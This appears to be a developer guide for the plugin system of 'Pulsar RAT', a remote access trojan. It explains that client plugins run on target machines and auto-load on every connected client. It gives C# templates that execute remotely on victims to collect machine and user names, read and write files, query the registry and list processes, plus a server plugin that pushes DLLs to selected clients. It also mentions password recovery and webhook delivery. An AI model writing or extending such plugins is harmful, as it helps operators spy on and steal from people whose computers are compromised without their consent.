# Pulsar Plugin System - Developer Guide Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system. ## 📋 Table of Contents - [Quick Start](#-quick-start) - [Plugin Types](#-plugin-types) - [Creating Your First Plugin](#-creating-your-first-plugin) - [Advanced Features](#-advanced-features) - [Code Templates](#-code-templates) - [Troubleshooting](#-troubleshooting) ## Quick Start ### What You Need - **Visual Studio** or **VS Code** with C# support - **Basic C# knowledge** (variables, methods, classes) - **Most importantly, a brain** ### Plugin System Overview - **Client Plugins**: Run on the target machine (what we'll focus on) - **Server Plugins**: Run on the server (for UI and management) - **Universal System**: Works with any .NET Framework 4.7.2+ project ## Plugin Types ### 0. **Client-Only Auto Plugins** (New) - Target a single assembly that implements `IUniversalPlugin` - Name the compiled DLL with a `.Client.dll` suffix (for example `ActionPlugin.Client.dll`) and drop it into `Pulsar.Server/Plugins` - Every connected client loads the plugin automatically without any server UI wiring - The plugin's `Initialize` method runs immediately after download, perfect for one-shot actions - Update the `Version` property when you publish a new build so clients receive the fresh copy - Optional: place a `.init` file next to your DLL to supply raw init data bytes ### 1. **Server-Only Plugins** (Run on server machine) - Add menu items to the server interface - Create custom server UI windows - Handle server-side data processing - **Example**: Custom client management tools, server utilities ### 2. **Server-Client Plugins** (Both components needed) - Server part: UI and menu integration - Client part: Actual work on target machine - Communication between server and client - **Example**: passwords recovery, etc ## Important Terms Explained ### Plugin State - **`IsComplete`**: Tells the system if your plugin is done working - **`_isRunning`**: Your own variable to track if plugin is busy - **`ShouldUnload`**: Tells system to remove plugin from memory when done ### Plugin Lifecycle 1. **Initialize()**: Called when plugin loads (setup code here) 2. **ExecuteCommand()**: Called for each command from server 3. **IsComplete**: Checked to see if plugin is done 4. **Cleanup()**: Called when plugin is removed (cleanup code here) ### PluginResult Properties - **Success**: Did the command work? (true/false) - **Message**: Status message for the server - **Data**: Raw data to send back (use Encoding.UTF8.GetBytes()) - **ShouldUnload**: Remove plugin when this command finishes? ### initData Parameter - **What it is**: Data sent from server to plugin when it loads - **Common uses**: Configuration, webhook URLs, file paths - **How to use**: `string config = Encoding.UTF8.GetString(initData);` ## Creating Your First Plugin ### Step 1: Create a New Project 1. Open Visual Studio 2. Create new **Class Library (.NET Framework 4.7.2)** project 3. Name it something like `MyFirstPlugin` ### Step 2: Copy the Template Code Replace your `Class1.cs` with this template: ```csharp using System; using System.Text; using Pulsar.Client.Plugins; namespace MyFirstPlugin { public class MyFirstPlugin : IUniversalPlugin { // Plugin Information public string PluginId => "myfirstplugin"; public string Version => "1.0"; public string[] SupportedCommands => new[] { "hello", "info", "status" }; // Plugin State private bool _isRunning = false; // Initialize the plugin public void Initialize(byte[] initData) { // This runs when the plugin is loaded // initData contains any data sent from the server } // Handle commands from the server public PluginResult ExecuteCommand(string command, byte[] parameters) { try { switch (command) { case "hello": return SayHello(); case "info": return GetSystemInfo(); case "status": return GetStatus(); default: return new PluginResult { Success = false, Message = "Unknown command" }; } } catch (Exception ex) { return new PluginResult { Success = false, Message = $"Error: {ex.Message}" }; } } // Check if plugin is done public bool IsComplete => !_isRunning; // Cleanup when plugin is unloaded public void Cleanup() { _isRunning = false; } // Your custom methods private PluginResult SayHello() { return new PluginResult { Success = true, Message = "Hello from my first plugin!", ShouldUnload = true }; } private PluginResult GetSystemInfo() { var info = new StringBuilder(); info.AppendLine("=== System Information ==="); info.AppendLine($"Computer: {Environment.MachineName}"); info.AppendLine($"User: {Environment.UserName}"); info.AppendLine($"OS: {Environment.OSVersion}"); info.AppendLine($"Time: {DateTime.Now}"); return new PluginResult { Success = true, Message = "System info collected", Data = Encoding.UTF8.GetBytes(info.ToString()), ShouldUnload = true }; } private PluginResult GetStatus() { return new PluginResult { Success = true, Message = $"Plugin is running: {_isRunning}", ShouldUnload = false }; } } } ``` ### Step 3: Add Required References Add these NuGet packages to your project: - **MessagePack** - **Pulsar.Common** ### Step 4: Build Your Plugin 1. Build your project in **Release** mode 2. Copy the `.dll` file to the server's plugin directory 3. Test it through the Pulsar server interface ## 🎨 Code Templates ### Template 0: Auto-Loaded Message Box (Client Only) ```csharp using System; using System.Runtime.InteropServices; using System.Text; using Pulsar.Common.Plugins; namespace ActionPlugins { public sealed class ActionPlugin : IUniversalPlugin { [DllImport("user32.dll", CharSet = CharSet.Unicode)] private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); public string PluginId => "actionplugin"; public string Version => "1.0.0"; public string[] SupportedCommands => Array.Empty(); public void Initialize(byte[] initData) { var message = initData is { Length: > 0 } ? Encoding.UTF8.GetString(initData) : "Action executed!"; MessageBox(IntPtr.Zero, message, "Action Plugin", 0); } public PluginResult ExecuteCommand(string command, byte[] parameters) { return new PluginResult { Success = false, Message = "No commands supported", ShouldUnload = true }; } public bool IsComplete => true; public void Cleanup() { } } } ``` Compile the project as `ActionPlugin.Client.dll` (or any name ending in `.Client.dll`) and drop it into `Pulsar.Server/Plugins`. If you want to change the message at runtime, create a text file named `ActionPlugin.Client.init` next to the DLL containing the message body (UTF-8 encoded). ### Template 1: Information Collector ```csharp public class InfoCollector : IUniversalPlugin { public string PluginId => "infocollector"; public string Version => "1.0"; public string[] SupportedCommands => new[] { "collect" }; public void Initialize(byte[] initData) { } public PluginResult ExecuteCommand(string command, byte[] parameters) { if (command == "collect") { var info = CollectInformation(); return new PluginResult { Success = true, Message = "Information collected", Data = Encoding.UTF8.GetBytes(info), ShouldUnload = true }; } return new PluginResult { Success = false, Message = "Unknown command" }; } public bool IsComplete => true; public void Cleanup() { } private string CollectInformation() { // Your information collection code here return "Collected information..."; } } ``` ### Template 2: Action Plugin ```csharp public class ActionPlugin : IUniversalPlugin { public string PluginId => "actionplugin"; public string Version => "1.0"; public string[] SupportedCommands => new[] { "execute" }; private bool _isExecuting = false; public void Initialize(byte[] initData) { } public PluginResult ExecuteCommand(string command, byte[] parameters) { if (command == "execute") { _isExecuting = true; var result = PerformAction(); _isExecuting = false; return new PluginResult { Success = true, Message = result, ShouldUnload = true }; } return new PluginResult { Success = false, Message = "Unknown command" }; } public bool IsComplete => !_isExecuting; public void Cleanup() { _isExecuting = false; } private string PerformAction() { // Your action code here return "Action completed successfully!"; } } ``` ### Template 3: Context Menu Client + Server Pair This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box. **Server plugin (compile as `ContextMenuMessage.Server.dll`):** ```csharp using System; using System.Collections.Generic; using System.IO; using System.Reflection; using System.Windows.Forms; using Pulsar.Server.Networking; using Pulsar.Server.Plugins; namespace ExamplePlugins.ContextMenu { public sealed class ContextMenuServerPlugin : IServerPlugin { private string _pluginDirectory = string.Empty; public string Name => "Context Menu Message"; public Version PluginVersion => new Version(1, 0, 0, 0); public string Author => "Example"; public string Description => "Adds a context menu entry that shows a client-side message box."; public bool AutoLoadToClients => false; public void Initialize(IServerContext context) { _pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory; context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked); } public void Dispose() { } private void OnShowMessageClicked(IReadOnlyList clients) { try { var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll"); if (!File.Exists(clientAssemblyPath)) { MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } var assemblyBytes = File.ReadAllBytes(clientAssemblyPath); foreach (var client in clients) { var pluginId = $"context.menu.message.{client.Id:N}"; PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize"); } } catch (Exception ex) { MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error); } } } } ``` **Client plugin (compile as `ContextMenuMessage.Client.dll`):** ```csharp using System; using System.Runtime.InteropServices; using Pulsar.Common.Plugins; namespace ExamplePlugins.ContextMenu { public sealed class ContextMenuClientPlugin : IUniversalPlugin { [DllImport("user32.dll", CharSet = CharSet.Unicode)] private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); public string PluginId => "contextmenumessage"; public string Version => "1.0.0"; public string[] SupportedCommands => Array.Empty(); public void Initialize(byte[] initData) { MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0); } public PluginResult ExecuteCommand(string command, byte[] parameters) { return new PluginResult { Success = false, Message = "No commands supported", ShouldUnload = true }; } public bool IsComplete => true; public void Cleanup() { } } } ``` Place both DLLs in `Pulsar.Server/Plugins`. The client DLL must keep the `.Client.dll` suffix so Pulsar auto-dispatches it. ### Template 4: Server-Only Message Box Plugin ```csharp using System; using System.Windows.Forms; using Pulsar.Server.Plugins; namespace ExamplePlugins.ServerOnly { public sealed class ServerHelloPlugin : IServerPlugin { public string Name => "Server Hello"; public Version PluginVersion => new Version(1, 0, 0, 0); public string Author => "Example"; public string Description => "Shows a message box when the plugin loads."; public bool AutoLoadToClients => false; public void Initialize(IServerContext context) { MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information); } public void Dispose() { } } } ## 🔧 Advanced Features ### Working with Files ```csharp private string ReadFile(string filePath) { try { return File.ReadAllText(filePath); } catch (Exception ex) { return $"Error reading file: {ex.Message}"; } } private bool WriteFile(string filePath, string content) { try { File.WriteAllText(filePath, content); return true; } catch { return false; } } ``` ### Working with Registry ```csharp private string GetRegistryValue(string keyPath, string valueName) { try { using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath)) { return key?.GetValue(valueName)?.ToString() ?? "Not found"; } } catch { return "Error accessing registry"; } } ``` ### Working with Processes ```csharp private string GetRunningProcesses() { var processes = Process.GetProcesses(); var result = new StringBuilder(); foreach (var process in processes.Take(10)) // Limit to first 10 { result.AppendLine($"{process.ProcessName} (PID: {process.Id})"); } return result.ToString(); } ``` ## Stuff good to know about ### 1. **Error Handling** Always wrap your code in try-catch blocks: ```csharp try { // Your code here return new PluginResult { Success = true, Message = "Success" }; } catch (Exception ex) { return new PluginResult { Success = false, Message = ex.Message }; } ``` ### 2. **Resource Management** Clean up resources in the `Cleanup()` method: ```csharp private HttpClient _httpClient; public void Cleanup() { _httpClient?.Dispose(); } ``` ### 3. **Memory Management** Use `using` statements for disposable objects: ```csharp using (var stream = new FileStream(path, FileMode.Open)) { // Use stream here } ``` ### 4. **Plugin State** Use the `IsComplete` property to indicate when your plugin is done: ```csharp private bool _isProcessing = false; public bool IsComplete => !_isProcessing; ``` ## Troubleshooting ### Common Issues **1. "Plugin not found" error** - Make sure your plugin implements `IUniversalPlugin` - Check that `PluginId` is unique - Verify the plugin is built in Release mode **2. "Command not supported" error** - Add your command to the `SupportedCommands` array - Make sure the command name matches exactly (case-sensitive) **3. "Plugin crashes" error** - Add try-catch blocks around your code - Check for null references - Use the `Cleanup()` method to reset state **4. "Data not received" error** - Make sure to set `Data` property in `PluginResult` - Use `Encoding.UTF8.GetBytes()` for string data - Check that `ShouldUnload` is set correctly ### Debug Tips 1. **Use the Message property** to return status information 2. **Set ShouldUnload = true** when your plugin is done 3. **Use the Data property** to return large amounts of data 4. **Test your plugin** with simple commands first ## Need Help? 1. **Start simple** with basic information collection 2. **Test frequently** during development 3. **ask** Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE ## You're Ready! You now have everything you need to create powerful Pulsar plugins. Start with the simple templates and gradually work your way up to more complex plugins. Remember: **start simple, test often, and have fun!** --- *Happy Plugin Development! (more like goodluck) *